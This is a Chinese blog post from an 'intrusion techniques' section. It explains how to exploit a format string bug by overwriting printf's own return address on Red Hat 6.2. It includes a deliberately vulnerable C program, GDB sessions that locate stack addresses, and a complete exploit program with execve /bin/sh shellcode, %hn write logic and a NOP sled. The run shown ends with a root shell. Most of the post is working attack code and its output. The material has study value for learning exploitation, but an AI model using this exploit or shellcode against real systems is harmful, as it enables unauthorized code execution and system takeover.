斌、朵♫恋 » 入侵手法 » ｡◕‿◕｡利用格式化串覆盖*printf()系列函数本身的返回地址｡◕‿◕｡
| 测试环境:linux redhat 6.2 kernel 2.2.14 ★ 前言 在scut写的<<Exploiting Format String Vulnerabilities v1.2>>中列出了六种比较 通用的方法来获得控制权： 1. 覆盖GOT 2. 利用DTORS 3. 利用 C library hooks 4. 利用 atexit 结构(静态编译版本才行) 5. 覆盖函数指针 6. 覆盖jmpbuf's 在这里，不想讨论上面这些东西，请自行参考相关资料 但是有些时候，你只能覆盖0xbfff0000-0xbfffffff的地址空间，因为是format string 被程序做了限制，而程序又调用了exit(0)，(也许你没有碰到过这样类似的漏洞程序，但我 碰到了，而且比这个要求还更苛刻:( ) 所以利用覆盖GOT、利用DTORS、利用C library hooks 这些技术都行不通了，因为这些地址以0x08打头(C library hooks是0x04打头)。覆盖main 返回地址也不行。那总该覆盖到点什么东西使我们的shellcode得到控制权吧。 ★ 覆盖格式化函数自己的返回地址 一般的buffer overflow的情况下，是不可能覆盖到象*printf()这种glibc函数的返回地址的， 但是format string就给了我们机会，而且个人认为精确度会更高。 比如说printf(buf),就利用格式化串的buf来覆盖printf函数的返回地址。 ★ 存在格式化字符串问题的程序 [alert7@redhat62 alert7]# cat vul.c #include <stdio.h> int main(int argc,char **argv) { char buf[10000]; bzero(buf,10000); if (argc==2) { strncpy(buf,argv[1],9999); printf(buf); } } [alert7@redhat62 alert7]# gcc -o vul vul.c -g ★ 精确定位几个数据 一查看垃圾数据个数（以4字节为单位） [alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%p aaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil) 我们看到没有垃圾数据 X=0;如果不明白怎么回事，请查阅 <<Exploiting Format String Vulnerabilities >> 二查看format string 地址 [alert7@redhat62 alert7]# gdb vul -q (gdb) disass main Dump of assembler code for function main: 0x8048438 <main>: push %ebp 0x8048439 <main+1>: mov %esp,%ebp 0x804843b <main+3>: sub $0x2710,%esp 0x8048441 <main+9>: push $0x2710 0x8048446 <main+14>: lea 0xffffd8f0(%ebp),%eax 0x804844c <main+20>: push %eax 0x804844d <main+21>: call 0x8048364 <bzero> 0x8048452 <main+26>: add $0x8,%esp 0x8048455 <main+29>: cmpl $0x2,0x8(%ebp) 0x8048459 <main+33>: jne 0x8048487 <main+79> 0x804845b <main+35>: push $0x270f 0x8048460 <main+40>: mov 0xc(%ebp),%eax 0x8048463 <main+43>: add $0x4,%eax 0x8048466 <main+46>: mov (%eax),%edx 0x8048468 <main+48>: push %edx 0x8048469 <main+49>: lea 0xffffd8f0(%ebp),%eax 0x804846f <main+55>: push %eax 0x8048470 <main+56>: call 0x8048374 <strncpy> 0x8048475 <main+61>: add $0xc,%esp 0x8048478 <main+64>: lea 0xffffd8f0(%ebp),%eax 0x804847e <main+70>: push %eax 0x804847f <main+71>: call 0x8048354 <printf> 0x8048484 <main+76>: add $0x4,%esp 0x8048487 <main+79>: leave 0x8048488 <main+80>: ret End of assembler dump. (gdb) b * 0x804847f Breakpoint 1 at 0x804847f: file vul.c, line 8. (gdb) r aaaa Starting program: /home/alert7/overflow/sploit/vul aaaa Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8 8 printf(buf); (gdb) p &buf $1 = (char (*)[10000]) 0xbfffd468 ~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr (gdb) i reg $eax $esp $ebp eax 0xbfffd468 -1073752984 esp 0xbfffd464 -1073752988 ebp 0xbffffb78 -1073742984 (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0xbffffcbf 0xbfffd468 0x61616161 0x00000000 (gdb) si 0x8048354 in printf () at printf.c:26 26 printf.c: No such file or directory. (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0x08048484 0xbfffd468 0x61616161 0x00000000 ~~~~~~~~~~~~~~~~~^就这个地址，已经变成了0x08048484，就是该printf函数的返回地址， 所以我们也找到了printf函数返回地址存放的地址：0xbfffd460 其实0xbfffd464地址的内容就是push %eax下去的东西 0xbfffd460为该printf上下文的栈帧的EIP存放地址 三 计算printf函数返回地址存放的地址 现在来用公式表达一下printf函数返回地址存放的地址：(format string addr) -(X*4)-8 format string addr是可以暴力猜测的。X更是可以简单的得到，所以这个地址是很精确的。 当然不同的系统不同的格式化串等等都会导致*printf系列函数返回地址存放的地址不一样，需要 自行研究和纠正公式，这里只是个简单的演示，意在抛砖引玉。 ★ 看看我们的利用程序 [alert7@redhat62 alert7]# cat exp.c /*e*/ #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 0 #define DEFAULT_ALIGNMENT 0 #define DEFAULT_RETLOC 0xbfffd468-0*4-8 //F-X*4-8 //F为格式化字符串地址 //X为垃圾的个数，X*4也就是 //从esp到F的长度 #define NOP 0x90 char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *ptr; long shell_addr,retloc=DEFAULT_RETLOC; int i,SH1,SH2; char buf[512]; char buf1[5000]; printf("Using RET location address: 0x%x\n", retloc); shell_addr = retloc+80; printf("Using Shellcode address: 0x%x\n", shell_addr); SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff SH2 = (shell_addr >> 0) & 0xffff;//SH2=0xd3a8 ptr = buf; if ((SH1)<(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8 ) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc) & 0xff; (*ptr++) = ((retloc) >> 8 ) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 )); /*推荐构造格式化串的时候使用%hn*/ } if ((SH1 )>(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc) & 0xff; (*ptr++) = ((retloc) >> 8 ) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8 ) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 )); } if ((SH1 )==(SH2)) { printf("不能用一个printf实现这种情况\n"); } sprintf(buf1,"%s%s",buf,shellcode); execle("./vul","vul",buf1, NULL,NULL); } [alert7@redhat62 alert7]# gcc -o exp exp.c [alert7@redhat62 alert7]# ./exp ......（省略了一些printf出来的乱信息） B隵1繤F ? 骎 ?圬@丸?/bin/sh[alert7@redhat62 alert7]# 怎么会没有成功呢，我们来看看怎么回事，在vul.c的printf(buf)之前加个sleep(30); 先在一个tty上运行./exp,在另外一个tty上如下操作： [alert7@redhat62 /alert7]# ps -aux|grep vul alert7 892 0.3 0.3 1084 296 pts/0 S 10:41 0:00 vul BBBBb?緽BBB` alert7 895 0.0 0.5 1360 508 pts/3 S 10:42 0:00 grep vul [alert7@redhat62 alert7]# gdb vul -q (gdb) attach 892 Attaching to program: /home/alert7/vul, Pid 892 Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. 0x400a9c61 in __libc_nanosleep () from /lib/libc.so.6 (gdb) b printf Breakpoint 1 at 0x4006605c: file printf.c, line 30. (gdb) c Continuing. Breakpoint 1, printf ( format=0xbfffd718 "BBBBb?緽BBB`??49135c%hn%5297c%hn", '\220' <repeats 128 times>, "隲037^\211v\b1繺210F\a\211F\f癨013\211骪215N\b\215V\f蚛2001踈211谸蚛20 0柢"...) at printf.c:30 30 printf.c: No such file or directory. 我们可以看到，用execle出来的format string地址就不是原来的0xbfffd468了，而是现在的 format=0xbfffd718了，所以我们的exploit程序应该修改这个地址。重新编译执行。 [alert7@redhat62 alert7]# ./exp .....（省略了一些printf出来的乱信息） B隵1繤F 骎 ?圬@蚥ash# bash# ：）OK，成功了！！！ ★ 小结 利用格式化串覆盖*printf()系列函数本身的返回地址应该是个很不错的方法，而且在格式串 问题上显的很有优势，精确度更高。 最后，欢迎来email讨论。 参考资料： <<Exploiting Format String Vulnerabilities >> by scut /team teso |
« 关于IPV6的一些设置测试无法查看工作组计算机（找不到网上邻居）解决方法 »
.clear
发表评论: